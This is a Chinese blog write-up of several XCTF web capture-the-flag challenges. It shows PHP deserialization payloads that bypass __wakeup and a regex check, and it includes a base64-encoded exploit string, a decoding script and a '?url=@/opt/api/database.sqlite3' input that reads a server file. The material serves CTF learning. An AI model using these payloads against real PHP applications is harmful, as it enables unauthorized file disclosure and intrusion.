攻防世界-web

文章讲述了在使用BabyPHP时遇到的一个安全挑战,涉及如何通过反序列化过程绕过`__wakeup`魔术方法,从而访问隐藏的`flag`。解题过程中利用了构造函数、析构函数和字符串操作技巧。
摘要由CSDN通过智能技术生成

babyphp

目录跳转

输入index.php会自动跳转到1.php

直接抓包

在头部看见flag
 

location:重定向

Training-WWW-Robots

访问robot.txt(君子协议

访问浏览器禁止访问的

拿到flag

unserialize3

根据题目提示,可以看出这是道反序列化的题

class xctf{
public $flag = '111'; 
public function __wakeup(){
exit('bad requests');
}}
?code=

补全代码,看见有一个魔术方法__wakeup,此方法会在反序列化后执行,退出并返回bad requests

 绕过__wakeup即可得flag

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

O:5:"xctf":1:{s:4:"flag";s:3:"111";} 

php unserianize

 绕过wakeup

绕过正则匹配

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$a=new Demo('fl4g.php');
$b= serialize($a);
echo $b ;//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$var = new Demo('fl4g.php');
$var = serialize($var);
$var = str_replace('O:4', 'O:+4',$var);//绕过preg_match
$var = str_replace(':1:', ':2:',$var);//绕过wakeup
var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($var));#显示base64编码后的序列化字符串
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

web2

解密脚本:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=base64_decode(strrev(str_rot13($miwen)));

//echo $miwen;

$m=$miwen;

for($i=0;$i<strlen($m);$i++){
		
	$_c=substr($m,$i,1);
	$__=ord($_c)-1;    # 字符转数字,在减1
	$__=chr($__);      # 数字转字符 

    $_=$_.$__;         # 拼接字符串

	}

echo strrev($_);        # 反转字符串

cat

?url=@/opt/api/database.sqlite3 

  • 21
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值